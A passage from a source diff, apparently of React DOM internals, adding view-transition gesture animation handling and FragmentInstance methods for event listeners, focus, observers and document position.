+    layoutCallback();
+    // Skip afterMutationCallback(). We don't need it since we're not animating.
+    if (enableProfilerTimer) {
+      finishedAnimation();
+    }
+    spawnedWorkCallback();
+    // Skip passiveCallback(). Spawned work will schedule a task.
+    return null;
+  }
+}
+
+export type RunningViewTransition = {
+  skipTransition(): void,
+  finished: Promise<void>,
+  ...
+};
+
+function mergeTranslate(translateA: ?string, translateB: ?string): string {
+  if (!translateA || translateA === 'none') {
+    return translateB || '';
+  }
+  if (!translateB || translateB === 'none') {
+    // $FlowFixMe[constant-condition]
+    return translateA || '';
+  }
+  const partsA = translateA.split(' ');
+  const partsB = translateB.split(' ');
+  let i;
+  let result = '';
+  for (i = 0; i < partsA.length && i < partsB.length; i++) {
+    if (i > 0) {
+      result += ' ';
+    }
+    result += 'calc(' + partsA[i] + ' + ' + partsB[i] + ')';
+  }
+  for (; i < partsA.length; i++) {
+    result += ' ' + partsA[i];
+  }
+  for (; i < partsB.length; i++) {
+    result += ' ' + partsB[i];
+  }
+  return result;
+}
+
+function animateGesture(
+  keyframes: any,
+  targetElement: Element,
+  pseudoElement: string,
+  timeline: GestureTimeline,
+  viewTransitionAnimations: Array<Animation>,
+  customTimelineCleanup: Array<() => void>,
+  rangeStart: number,
+  rangeEnd: number,
+  moveFirstFrameIntoViewport: boolean,
+  moveAllFramesIntoViewport: boolean,
+) {
+  let width;
+  let height;
+  let unchangedDimensions = true;
+  for (let i = 0; i < keyframes.length; i++) {
+    const keyframe = keyframes[i];
+    // Delete any easing since we always apply linear easing to gestures.
+    delete keyframe.easing;
+    delete keyframe.computedOffset;
+    const w = keyframe.width;
+    if (width === undefined) {
+      width = w;
+    } else if (width !== w) {
+      unchangedDimensions = false;
+    }
+    const h = keyframe.height;
+    if (height === undefined) {
+      height = h;
+    } else if (height !== h) {
+      unchangedDimensions = false;
+    }
+    // Chrome returns "auto" for width/height which is not a valid value to
+    // animate to. Similarly, transform: "none" is actually lack of transform.
+    if (keyframe.width === 'auto') {
+      delete keyframe.width;
+    }
+    if (keyframe.height === 'auto') {
+      delete keyframe.height;
+    }
+    if (keyframe.transform === 'none') {
+      delete keyframe.transform;
+    }
+    if (moveAllFramesIntoViewport) {
+      if (keyframe.transform == null) {
+        // If a transform is not explicitly specified to override the auto
+        // generated one on the pseudo element, then we need to adjust it to
+        // put it back into the viewport. We don't know the offset relative to
+        // the screen so instead we use the translate prop to do a relative
+        // adjustment.
+        // TODO: If the "transform" was manually overridden on the pseudo
+        // element itself and no longer the auto generated one, then we shouldn't
+        // adjust it. I'm not sure how to detect this.
+        if (keyframe.translate == null || keyframe.translate === '') {
+          // TODO: If there's a CSS rule targeting translate on the pseudo element
+          // already we need to merge it.
+          const elementTranslate: ?string = (getComputedStyle(
+            targetElement,
+            pseudoElement,
+          ): any).translate;
+          keyframe.translate = mergeTranslate(
+            elementTranslate,
+            '20000px 20000px',
+          );
+        } else {
+          keyframe.translate = mergeTranslate(
+            keyframe.translate,
+            '20000px 20000px',
+          );
+        }
+      }
+    }
+  }
+  if (moveFirstFrameIntoViewport) {
+    // If this is the generated animation that does a FLIP matrix translation
+    // from the old position, we need to adjust it from the out of viewport
+    // position. If this is going from old to new it only applies to first
+    // keyframe. Otherwise it applies to every keyframe.
+    moveOldFrameIntoViewport(keyframes[0]);
+  }
+  if (unchangedDimensions && width !== undefined && height !== undefined) {
+    // Read the underlying width/height of the pseudo-element. The previous animation
+    // should have already been cancelled so we should observe the underlying element.
+    const computedStyle = getComputedStyle(targetElement, pseudoElement);
+    if (computedStyle.width === width && computedStyle.height === height) {
+      for (let i = 0; i < keyframes.length; i++) {
+        const keyframe = keyframes[i];
+        delete keyframe.width;
+        delete keyframe.height;
+      }
+    }
+  }
+
+  // TODO: Reverse the reverse if the original direction is reverse.
+  const reverse = rangeStart > rangeEnd;
+  if (timeline instanceof AnimationTimeline) {
+    // Native Timeline
+    // $FlowFixMe[incompatible-call]
+    const animation = targetElement.animate(keyframes, {
+      pseudoElement: pseudoElement,
+      // Set the timeline to the current gesture timeline to drive the updates.
+      timeline: timeline,
+      // We reset all easing functions to linear so that it feels like you
+      // have direct impact on the transition and to avoid double bouncing
+      // from scroll bouncing.
+      easing: 'linear',
+      // We fill in both direction for overscroll.
+      fill: 'both', // TODO: Should we preserve the fill instead?
+      // We play all gestures in reverse, except if we're in reverse direction
+      // in which case we need to play it in reverse of the reverse.
+      direction: reverse ? 'normal' : 'reverse',
+      // Range start needs to be higher than range end. If it goes in reverse
+      // we reverse the whole animation below.
+      rangeStart: (reverse ? rangeEnd : rangeStart) + '%',
+      rangeEnd: (reverse ? rangeStart : rangeEnd) + '%',
+    });
+    viewTransitionAnimations.push(animation);
+  } else {
+    // Custom Timeline
+    // $FlowFixMe[incompatible-call]
+    const animation = targetElement.animate(keyframes, {
+      pseudoElement: pseudoElement,
+      // We reset all easing functions to linear so that it feels like you
+      // have direct impact on the transition and to avoid double bouncing
+      // from scroll bouncing.
+      easing: 'linear',
+      // We fill in both direction for overscroll.
+      fill: 'both', // TODO: Should we preserve the fill instead?
+      // We play all gestures in reverse, except if we're in reverse direction
+      // in which case we need to play it in reverse of the reverse.
+      direction: reverse ? 'normal' : 'reverse',
+      // We set the delay and duration to represent the span of the range.
+      delay: reverse ? rangeEnd : rangeStart,
+      duration: reverse ? rangeStart - rangeEnd : rangeEnd - rangeStart,
+    });
+    viewTransitionAnimations.push(animation);
+    // Let the custom timeline take control of driving the animation.
+    const cleanup = timeline.animate(animation);
+    if (cleanup) {
+      customTimelineCleanup.push(cleanup);
+    }
+  }
+}
+
+export function startGestureTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  timeline: GestureTimeline,
+  rangeStart: number,
+  rangeEnd: number,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  animateCallback: () => void,
+  errorCallback: mixed => void,
+  finishedAnimation: () => void, // Profiling-only
+): null | RunningViewTransition {
+  const ownerDocument: Document =
+    rootContainer.nodeType === DOCUMENT_NODE
+      ? (rootContainer: any)
+      : rootContainer.ownerDocument;
+  try {
+    // Force layout before we start the Transition. This works around a bug in Safari
+    // if one of the clones end up being a stylesheet that isn't loaded or uncached.
+    // https://bugs.webkit.org/show_bug.cgi?id=290146
+    forceLayout(ownerDocument);
+    // $FlowFixMe[prop-missing]
+    const transition = ownerDocument.startViewTransition({
+      update: mutationCallback,
+      types: transitionTypes,
+    });
+    // $FlowFixMe[prop-missing]
+    ownerDocument.__reactViewTransition = transition;
+    const customTimelineCleanup: Array<() => void> = []; // Cleanup Animations started in a CustomTimeline
+    const viewTransitionAnimations: Array<Animation> = [];
+    const readyCallback = () => {
+      const documentElement: Element = (ownerDocument.documentElement: any);
+      // Loop through all View Transition Animations.
+      // $FlowFixMe[prop-missing]
+      const animations = documentElement.getAnimations({subtree: true});
+      // First do a pass to collect all known group and new items so we can look
+      // up if they exist later.
+      const foundGroups: Set<string> = new Set();
+      const foundNews: Set<string> = new Set();
+      // Collect the longest duration of any view-transition animation including delay.
+      let longestDuration = 0;
+      for (let i = 0; i < animations.length; i++) {
+        const effect: KeyframeEffect = (animations[i].effect: any);
+        // $FlowFixMe
+        const pseudoElement: ?string = effect.pseudoElement;
+        if (pseudoElement == null) {
+        } else if (
+          pseudoElement.startsWith('::view-transition') &&
+          effect.target === documentElement
+        ) {
+          const timing = effect.getTiming();
+          const duration =
+            // $FlowFixMe[prop-missing]
+            typeof timing.duration === 'number' ? timing.duration : 0;
+          // TODO: Consider interation count higher than 1.
+          // $FlowFixMe[prop-missing]
+          // $FlowFixMe[unsafe-addition]
+          const durationWithDelay = timing.delay + duration;
+          if (durationWithDelay > longestDuration) {
+            longestDuration = durationWithDelay;
+          }
+          if (pseudoElement.startsWith('::view-transition-group')) {
+            foundGroups.add(pseudoElement.slice(23));
+          } else if (pseudoElement.startsWith('::view-transition-new')) {
+            // TODO: This is not really a sufficient detection because if the new
+            // pseudo element might exist but have animations disabled on it.
+            foundNews.add(pseudoElement.slice(21));
+          }
+        }
+      }
+      const durationToRangeMultipler =
+        (rangeEnd - rangeStart) / longestDuration;
+      for (let i = 0; i < animations.length; i++) {
+        const anim = animations[i];
+        if (anim.playState !== 'running') {
+          continue;
+        }
+        const effect: KeyframeEffect = (anim.effect: any);
+        // $FlowFixMe
+        const pseudoElement: ?string = effect.pseudoElement;
+        if (
+          pseudoElement != null &&
+          pseudoElement.startsWith('::view-transition') &&
+          effect.target === documentElement
+        ) {
+          // Ideally we could mutate the existing animation but unfortunately
+          // the mutable APIs seem less tested and therefore are lacking or buggy.
+          // Therefore we create a new animation instead.
+          anim.cancel();
+          let isGeneratedGroupAnim = false;
+          let isExitGroupAnim = false;
+          if (pseudoElement.startsWith('::view-transition-group')) {
+            const groupName = pseudoElement.slice(23);
+            if (foundNews.has(groupName)) {
+              // If this has both "new" and "old" state we expect this to be an auto-generated
+              // animation that started outside the viewport. We need to adjust this first frame
+              // to be inside the viewport.
+              // $FlowFixMe[prop-missing]
+              const animationName: ?string = anim.animationName;
+              isGeneratedGroupAnim =
+                animationName != null &&
+                // $FlowFixMe[prop-missing]
+                animationName.startsWith('-ua-view-transition-group-anim-');
+            } else {
+              // If this has only an "old" state then the pseudo element will be outside
+              // the viewport. If any keyframes don't override "transform" we need to
+              // adjust them.
+              isExitGroupAnim = true;
+            }
+            // TODO: If this has only an old state and no new state,
+          }
+          // Adjust the range based on how long the animation would've ran as time based.
+          // Since we're running animations in reverse from how they normally would run,
+          // therefore the timing is from the rangeEnd to the start.
+          const timing = effect.getTiming();
+          const duration =
+            // $FlowFixMe[prop-missing]
+            typeof timing.duration === 'number' ? timing.duration : 0;
+          let adjustedRangeStart =
+            // $FlowFixMe[unsafe-addition]
+            // $FlowFixMe[prop-missing]
+            rangeEnd - (duration + timing.delay) * durationToRangeMultipler;
+          let adjustedRangeEnd =
+            rangeEnd -
+            // $FlowFixMe[prop-missing]
+            // $FlowFixMe[unsafe-arithmetic]
+            timing.delay * durationToRangeMultipler;
+          if (
+            timing.direction === 'reverse' ||
+            timing.direction === 'alternate-reverse'
+          ) {
+            // This animation was originally in reverse so we have to play it in flipped range.
+            const temp = adjustedRangeStart;
+            adjustedRangeStart = adjustedRangeEnd;
+            adjustedRangeEnd = temp;
+          }
+          animateGesture(
+            effect.getKeyframes(),
+            // $FlowFixMe: Always documentElement atm.
+            effect.target,
+            pseudoElement,
+            timeline,
+            viewTransitionAnimations,
+            customTimelineCleanup,
+            adjustedRangeStart,
+            adjustedRangeEnd,
+            isGeneratedGroupAnim,
+            isExitGroupAnim,
+          );
+          if (pseudoElement.startsWith('::view-transition-old')) {
+            const groupName = pseudoElement.slice(21);
+            if (!foundGroups.has(groupName) && !foundNews.has(groupName)) {
+              foundGroups.add(groupName);
+              // We haven't seen any group animation with this name. Since the old
+              // state was outside the viewport we need to put it back. Since we
+              // can't programmatically target the element itself, we use an
+              // animation to adjust it.
+              // This usually happens for exit animations where the element has
+              // the old position.
+              // If we also have a "new" state then we skip this because it means
+              // someone manually disabled the auto-generated animation. We need to
+              // treat the old state as having the position of the "new" state which
+              // will happen by default.
+              const pseudoElementName = '::view-transition-group' + groupName;
+              animateGesture(
+                [{}, {}],
+                // $FlowFixMe: Always documentElement atm.
+                effect.target,
+                pseudoElementName,
+                timeline,
+                viewTransitionAnimations,
+                customTimelineCleanup,
+                rangeStart,
+                rangeEnd,
+                false,
+                true, // We let the helper apply the translate
+              );
+            }
+          }
+        }
+      }
+      // View Transitions with ScrollTimeline has a quirk where they end if the
+      // ScrollTimeline ever reaches 100% but that doesn't mean we're done because
+      // you can swipe back again. We can prevent this by adding a paused Animation
+      // that never stops. This seems to keep all running Animations alive until
+      // we explicitly abort (or something forces the View Transition to cancel).
+      // $FlowFixMe[incompatible-call]
+      const blockingAnim = documentElement.animate([{}, {}], {
+        pseudoElement: '::view-transition',
+        duration: 1,
+      });
+      blockingAnim.pause();
+      viewTransitionAnimations.push(blockingAnim);
+      animateCallback();
+    };
+    // In Chrome, "new" animations are not ready in the ready callback. We have to wait
+    // until requestAnimationFrame before we can observe them through getAnimations().
+    // However, in Safari, that would cause a flicker because we're applying them late.
+    // TODO: Think of a feature detection for this instead.
+    const readyForAnimations =
+      navigator.userAgent.indexOf('Chrome') !== -1
+        ? () => requestAnimationFrame(readyCallback)
+        : readyCallback;
+    const handleError = (error: mixed) => {
+      // $FlowFixMe[prop-missing]
+      if (ownerDocument.__reactViewTransition === transition) {
+        // $FlowFixMe[prop-missing]
+        ownerDocument.__reactViewTransition = null;
+      }
+      try {
+        error = customizeViewTransitionError(error, true);
+        if (error !== null) {
+          errorCallback(error);
+        }
+      } finally {
+        // Continue the reset of the work.
+        // If the error happened in the snapshot phase before the update callback
+        // was invoked, then we need to first finish the mutation and layout phases.
+        // If they're already invoked it's still safe to call them due the status check.
+        mutationCallback();
+        // Skip readyCallback() and go straight to animateCallbck() since we're not animating.
+        // animateCallback() is still required to restore states.
+        animateCallback();
+        if (enableProfilerTimer) {
+          finishedAnimation();
+        }
+      }
+    };
+    transition.ready.then(readyForAnimations, handleError);
+    transition.finished.finally(() => {
+      for (let i = 0; i < viewTransitionAnimations.length; i++) {
+        // In Safari, we need to manually cancel all manually started animations
+        // or it'll block or interfer with future transitions.
+        // We can't use getAnimations() due to #35336 so we collect them in an array.
+        viewTransitionAnimations[i].cancel();
+      }
+      for (let i = 0; i < customTimelineCleanup.length; i++) {
+        const cleanup = customTimelineCleanup[i];
+        cleanup();
+      }
+      // $FlowFixMe[prop-missing]
+      if (ownerDocument.__reactViewTransition === transition) {
+        // $FlowFixMe[prop-missing]
+        ownerDocument.__reactViewTransition = null;
+      }
+      if (enableProfilerTimer) {
+        // Signal that the Transition was unable to continue. We do that here
+        // instead of when we stop the running View Transition to ensure that
+        // we cover cases when something else stops it early.
+        finishedAnimation();
+      }
+    });
+    return transition;
+  } catch (x) {
+    // We use the error as feature detection.
+    // The only thing that should throw is if startViewTransition is missing
+    // or if it doesn't accept the object form. Other errors are async.
+    // I.e. it's before the View Transitions v2 spec. We only support View
+    // Transitions v2 otherwise we fallback to not animating to ensure that
+    // we're not animating with the wrong animation mapped.
+    // Run through the sequence to put state back into a consistent state.
+    mutationCallback();
+    animateCallback();
+    if (enableProfilerTimer) {
+      finishedAnimation();
+    }
+    return null;
+  }
+}
+
+export function stopViewTransition(transition: RunningViewTransition) {
+  transition.skipTransition();
+}
+
+export function addViewTransitionFinishedListener(
+  transition: RunningViewTransition,
+  callback: () => void,
+) {
+  transition.finished.finally(callback);
+}
+
+interface ViewTransitionPseudoElementType extends mixin$Animatable {
+  _scope: HTMLElement;
+  _selector: string;
+  getComputedStyle(): CSSStyleDeclaration;
+}
+
+function ViewTransitionPseudoElement(
+  this: ViewTransitionPseudoElementType,
+  pseudo: string,
+  name: string,
+) {
+  // TODO: Get the owner document from the root container.
+  this._scope = (document.documentElement: any);
+  this._selector = '::view-transition-' + pseudo + '(' + name + ')';
+}
+// $FlowFixMe[prop-missing]
+ViewTransitionPseudoElement.prototype.animate = function (
+  this: ViewTransitionPseudoElementType,
+  keyframes: Keyframe[] | PropertyIndexedKeyframes | null,
+  options?: number | KeyframeAnimationOptions,
+): Animation {
+  const opts: any =
+    typeof options === 'number'
+      ? {
+          duration: options,
+        }
+      : Object.assign(
+          (// $FlowFixMe[prop-missing]
+          {}: KeyframeAnimationOptions),
+          options,
+        );
+  opts.pseudoElement = this._selector;
+  // TODO: Handle multiple child instances.
+  return this._scope.animate(keyframes, opts);
+};
+// $FlowFixMe[prop-missing]
+ViewTransitionPseudoElement.prototype.getAnimations = function (
+  this: ViewTransitionPseudoElementType,
+  options?: GetAnimationsOptions,
+): Animation[] {
+  const scope = this._scope;
+  const selector = this._selector;
+  const animations = scope.getAnimations(
+    // $FlowFixMe[prop-missing]
+    {subtree: true},
+  );
+  const result = [];
+  for (let i = 0; i < animations.length; i++) {
+    const effect: null | {
+      target?: Element,
+      pseudoElement?: string,
+      ...
+    } = (animations[i].effect: any);
+    // TODO: Handle multiple child instances.
+    if (
+      effect !== null &&
+      effect.target === scope &&
+      effect.pseudoElement === selector
+    ) {
+      result.push(animations[i]);
+    }
+  }
+  return result;
+};
+// $FlowFixMe[prop-missing]
+ViewTransitionPseudoElement.prototype.getComputedStyle = function (
+  this: ViewTransitionPseudoElementType,
+): CSSStyleDeclaration {
+  const scope = this._scope;
+  const selector = this._selector;
+  return getComputedStyle(scope, selector);
+};
+
+export function createViewTransitionInstance(
+  name: string,
+): ViewTransitionInstance {
+  return {
+    name: name,
+    group: new (ViewTransitionPseudoElement: any)('group', name),
+    imagePair: new (ViewTransitionPseudoElement: any)('image-pair', name),
+    old: new (ViewTransitionPseudoElement: any)('old', name),
+    new: new (ViewTransitionPseudoElement: any)('new', name),
+  };
+}
+
+interface CustomTimeline {
+  currentTime: number;
+  animate(animation: Animation): void | (() => void);
+}
+
+export type GestureTimeline = AnimationTimeline | CustomTimeline;
+
+export function getCurrentGestureOffset(timeline: GestureTimeline): number {
+  const time = timeline.currentTime;
+  if (time === null) {
+    throw new Error(
+      'Cannot start a gesture with a disconnected AnimationTimeline.',
+    );
+  }
+  return typeof time === 'number' ? time : time.value;
+}
+
+type StoredEventListener = {
+  type: string,
+  listener: EventListener,
+  optionsOrUseCapture: void | EventListenerOptionsOrUseCapture,
+};
+
+export type FragmentInstanceType = {
+  _fragmentFiber: Fiber,
+  _eventListeners: null | Array<StoredEventListener>,
+  _observers: null | Set<IntersectionObserver | ResizeObserver>,
+  addEventListener(
+    type: string,
+    listener: EventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture,
+  ): void,
+  removeEventListener(
+    type: string,
+    listener: EventListener,
+    optionsOrUseCapture?: EventListenerOptionsOrUseCapture,
+  ): void,
+  dispatchEvent(event: Event): boolean,
+  focus(focusOptions?: FocusOptions): void,
+  focusLast(focusOptions?: FocusOptions): void,
+  blur(): void,
+  observeUsing(observer: IntersectionObserver | ResizeObserver): void,
+  unobserveUsing(observer: IntersectionObserver | ResizeObserver): void,
+  getClientRects(): Array<DOMRect>,
+  getRootNode(getRootNodeOptions?: {
+    composed: boolean,
+  }): Document | ShadowRoot | FragmentInstanceType,
+  compareDocumentPosition(otherNode: Instance): number,
+  scrollIntoView(alignToTop?: boolean): void,
+};
+
+function FragmentInstance(this: FragmentInstanceType, fragmentFiber: Fiber) {
+  this._fragmentFiber = fragmentFiber;
+  this._eventListeners = null;
+  this._observers = null;
+}
+
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.addEventListener = function (
+  this: FragmentInstanceType,
+  type: string,
+  listener: EventListener,
+  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,
+): void {
+  if (this._eventListeners === null) {
+    this._eventListeners = [];
+  }
+
+  const listeners = this._eventListeners;
+  // Element.addEventListener will only apply uniquely new event listeners by default. Since we
+  // need to collect the listeners to apply to appended children, we track them ourselves and use
+  // custom equality check for the options.
+  const isNewEventListener =
+    indexOfEventListener(listeners, type, listener, optionsOrUseCapture) === -1;
+  if (isNewEventListener) {
+    listeners.push({type, listener, optionsOrUseCapture});
+    traverseFragmentInstance(
+      this._fragmentFiber,
+      addEventListenerToChild,
+      type,
+      listener,
+      optionsOrUseCapture,
+    );
+  }
+  this._eventListeners = listeners;
+};
+function addEventListenerToChild(
+  child: Fiber,
+  type: string,
+  listener: EventListener,
+  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,
+): boolean {
+  const instance = getInstanceFromHostFiber<Instance>(child);
+  instance.addEventListener(type, listener, optionsOrUseCapture);
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.removeEventListener = function (
+  this: FragmentInstanceType,
+  type: string,
+  listener: EventListener,
+  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,
+): void {
+  const listeners = this._eventListeners;
+  if (listeners === null) {
+    return;
+  }
+  if (typeof listeners !== 'undefined' && listeners.length > 0) {
+    traverseFragmentInstance(
+      this._fragmentFiber,
+      removeEventListenerFromChild,
+      type,
+      listener,
+      optionsOrUseCapture,
+    );
+    const index = indexOfEventListener(
+      listeners,
+      type,
+      listener,
+      optionsOrUseCapture,
+    );
+    if (this._eventListeners !== null) {
+      this._eventListeners.splice(index, 1);
+    }
+  }
+};
+function removeEventListenerFromChild(
+  child: Fiber,
+  type: string,
+  listener: EventListener,
+  optionsOrUseCapture?: EventListenerOptionsOrUseCapture,
+): boolean {
+  const instance = getInstanceFromHostFiber<Instance>(child);
+  instance.removeEventListener(type, listener, optionsOrUseCapture);
+  return false;
+}
+function normalizeListenerOptions(
+  opts: ?EventListenerOptionsOrUseCapture,
+): string {
+  if (opts == null) {
+    return '0';
+  }
+
+  if (typeof opts === 'boolean') {
+    return `c=${opts ? '1' : '0'}`;
+  }
+
+  return `c=${opts.capture ? '1' : '0'}&o=${opts.once ? '1' : '0'}&p=${opts.passive ? '1' : '0'}`;
+}
+function indexOfEventListener(
+  eventListeners: Array<StoredEventListener>,
+  type: string,
+  listener: EventListener,
+  optionsOrUseCapture: void | EventListenerOptionsOrUseCapture,
+): number {
+  if (eventListeners.length === 0) {
+    return -1;
+  }
+  const normalizedOptions = normalizeListenerOptions(optionsOrUseCapture);
+  for (let i = 0; i < eventListeners.length; i++) {
+    const item = eventListeners[i];
+    if (
+      item.type === type &&
+      item.listener === listener &&
+      normalizeListenerOptions(item.optionsOrUseCapture) === normalizedOptions
+    ) {
+      return i;
+    }
+  }
+  return -1;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.dispatchEvent = function (
+  this: FragmentInstanceType,
+  event: Event,
+): boolean {
+  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);
+  if (parentHostFiber === null) {
+    return true;
+  }
+  const parentHostInstance =
+    getInstanceFromHostFiber<Instance>(parentHostFiber);
+  const eventListeners = this._eventListeners;
+  if (
+    (eventListeners !== null && eventListeners.length > 0) ||
+    !event.bubbles
+  ) {
+    const temp = document.createTextNode('');
+    if (eventListeners) {
+      for (let i = 0; i < eventListeners.length; i++) {
+        const {type, listener, optionsOrUseCapture} = eventListeners[i];
+        temp.addEventListener(type, listener, optionsOrUseCapture);
+      }
+    }
+    parentHostInstance.appendChild(temp);
+    const cancelable = temp.dispatchEvent(event);
+    if (eventListeners) {
+      for (let i = 0; i < eventListeners.length; i++) {
+        const {type, listener, optionsOrUseCapture} = eventListeners[i];
+        temp.removeEventListener(type, listener, optionsOrUseCapture);
+      }
+    }
+    parentHostInstance.removeChild(temp);
+    return cancelable;
+  } else {
+    return parentHostInstance.dispatchEvent(event);
+  }
+};
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.focus = function (
+  this: FragmentInstanceType,
+  focusOptions?: FocusOptions,
+): void {
+  traverseFragmentInstanceDeeply(
+    this._fragmentFiber,
+    setFocusOnFiberIfFocusable,
+    focusOptions,
+  );
+};
+function setFocusOnFiberIfFocusable(
+  fiber: Fiber,
+  focusOptions?: FocusOptions,
+): boolean {
+  if (enableFragmentRefsTextNodes) {
+    // Skip text nodes - they are not focusable
+    if (fiber.tag === HostText) {
+      return false;
+    }
+  }
+  const instance = getInstanceFromHostFiber<Instance>(fiber);
+  return setFocusIfFocusable(instance, focusOptions);
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.focusLast = function (
+  this: FragmentInstanceType,
+  focusOptions?: FocusOptions,
+): void {
+  const children: Array<Fiber> = [];
+  traverseFragmentInstanceDeeply(
+    this._fragmentFiber,
+    collectChildren,
+    children,
+  );
+  for (let i = children.length - 1; i >= 0; i--) {
+    const child = children[i];
+    if (setFocusOnFiberIfFocusable(child, focusOptions)) {
+      break;
+    }
+  }
+};
+function collectChildren(child: Fiber, collection: Array<Fiber>): boolean {
+  collection.push(child);
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.blur = function (this: FragmentInstanceType): void {
+  // Early exit if activeElement is not within the fragment's parent
+  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);
+  if (parentHostFiber === null) {
+    return;
+  }
+  const parentHostInstance =
+    getInstanceFromHostFiber<Instance>(parentHostFiber);
+  const activeElement = parentHostInstance.ownerDocument.activeElement;
+  if (activeElement === null || !parentHostInstance.contains(activeElement)) {
+    return;
+  }
+
+  traverseFragmentInstance(
+    this._fragmentFiber,
+    blurActiveElementWithinFragment,
+    activeElement,
+  );
+};
+function blurActiveElementWithinFragment(
+  child: Fiber,
+  activeElement: Element,
+): boolean {
+  // Skip text nodes - they can't be focused
+  if (enableFragmentRefsTextNodes && child.tag === HostText) {
+    return false;
+  }
+  const instance = getInstanceFromHostFiber<Instance>(child);
+  if (instance === activeElement) {
+    // $FlowFixMe[prop-missing]
+    instance.blur();
+    return true;
+  }
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.observeUsing = function (
+  this: FragmentInstanceType,
+  observer: IntersectionObserver | ResizeObserver,
+): void {
+  if (__DEV__) {
+    if (enableFragmentRefsTextNodes) {
+      let hasText = false;
+      let hasElement = false;
+      traverseFragmentInstance(this._fragmentFiber, (child: Fiber) => {
+        if (child.tag === HostText) {
+          hasText = true;
+        } else {
+          // Stop traversal, found element
+          hasElement = true;
+          return true;
+        }
+        return false;
+      });
+      if (hasText && !hasElement) {
+        console.error(
+          'observeUsing() was called on a FragmentInstance with only text children. ' +
+            'Observers do not work on text nodes.',
+        );
+      }
+    }
+  }
+  if (this._observers === null) {
+    this._observers = new Set();
+  }
+  this._observers.add(observer);
+  traverseFragmentInstance(this._fragmentFiber, observeChild, observer);
+};
+function observeChild(
+  child: Fiber,
+  observer: IntersectionObserver | ResizeObserver,
+) {
+  if (enableFragmentRefsTextNodes) {
+    // Skip text nodes - observers don't work on them
+    if (child.tag === HostText) {
+      return false;
+    }
+  }
+  const instance = getInstanceFromHostFiber<Instance>(child);
+  observer.observe(instance);
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.unobserveUsing = function (
+  this: FragmentInstanceType,
+  observer: IntersectionObserver | ResizeObserver,
+): void {
+  const observers = this._observers;
+  if (observers === null || !observers.has(observer)) {
+    if (__DEV__) {
+      console.error(
+        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +
+          'instance. First attach the observer with observeUsing()',
+      );
+    }
+  } else {
+    observers.delete(observer);
+    traverseFragmentInstance(this._fragmentFiber, unobserveChild, observer);
+  }
+};
+function unobserveChild(
+  child: Fiber,
+  observer: IntersectionObserver | ResizeObserver,
+) {
+  if (enableFragmentRefsTextNodes) {
+    // Skip text nodes - they were never observed
+    if (child.tag === HostText) {
+      return false;
+    }
+  }
+  const instance = getInstanceFromHostFiber<Instance>(child);
+  observer.unobserve(instance);
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.getClientRects = function (
+  this: FragmentInstanceType,
+): Array<DOMRect> {
+  const rects: Array<DOMRect> = [];
+  traverseFragmentInstance(this._fragmentFiber, collectClientRects, rects);
+  return rects;
+};
+function collectClientRects(child: Fiber, rects: Array<DOMRect>): boolean {
+  if (enableFragmentRefsTextNodes && child.tag === HostText) {
+    const textNode: Text = child.stateNode;
+    const range = textNode.ownerDocument.createRange();
+    range.selectNodeContents(textNode);
+    // $FlowFixMe[method-unbinding]
+    rects.push.apply(rects, range.getClientRects());
+  } else {
+    const instance = getInstanceFromHostFiber<Instance>(child);
+    // $FlowFixMe[method-unbinding]
+    rects.push.apply(rects, instance.getClientRects());
+  }
+  return false;
+}
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.getRootNode = function (
+  this: FragmentInstanceType,
+  getRootNodeOptions?: {composed: boolean},
+): Document | ShadowRoot | FragmentInstanceType {
+  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);
+  if (parentHostFiber === null) {
+    return this;
+  }
+  const parentHostInstance =
+    getInstanceFromHostFiber<Instance>(parentHostFiber);
+  const rootNode =
+    // $FlowFixMe[incompatible-cast] Flow expects Node
+    (parentHostInstance.getRootNode(getRootNodeOptions): Document | ShadowRoot);
+  return rootNode;
+};
+// $FlowFixMe[prop-missing]
+FragmentInstance.prototype.compareDocumentPosition = function (
+  this: FragmentInstanceType,
+  otherNode: Instance,
+): number {
+  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);
+  if (parentHostFiber === null) {
+    return Node.DOCUMENT_POSITION_DISCONNECTED;
+  }
+  const children: Array<Fiber> = [];
+  traverseFragmentInstance(this._fragmentFiber, collectChildren, children);
+  const parentHostInstance =
+    getInstanceFromHostFiber<Instance>(parentHostFiber);
+
+  if (children.length === 0) {
+    return compareDocumentPositionForEmptyFragment(
+      this._fragmentFiber,
+      parentHostInstance,
+      otherNode,
+      getInstanceFromHostFiber,
+    );
+  }
+
+  const firstNode = getInstanceFromHostFiber<Instance>(children[0]);
+  const lastNode = getInstanceFromHostFiber<Instance>(
+    children[children.length - 1],
+  );
+
+  // If the fragment has been portaled into another host instance, we need to
+  // our best guess is to use the parent of the child instance, rather than
+  // the fiber tree host parent.
+  const parentHostInstanceFromDOM = fiberIsPortaledIntoHost(this._fragmentFiber)
+    ? (firstNode.parentElement: ?Instance)
+    : parentHostInstance;
+
+  if (parentHostInstanceFromDOM == null) {
+    return Node.DOCUMENT_POSITION_DISCONNECTED;
+  }
+
+  // Check if first and last node are actually in the expected document position
+  // before relying on them as source of truth for other contained nodes
+  const firstNodeIsContained =
+    parentHostInstanceFromDOM.compareDocumentPosition(firstNode) &
+    Node.DOCUMENT_POSITION_CONTAINED_BY;
+  const lastNodeIsContained =
+    parentHostInstanceFromDOM.compareDocumentPosition(lastNode) &
+    Node.DOCUMENT_POSITION_CONTAINED_BY;
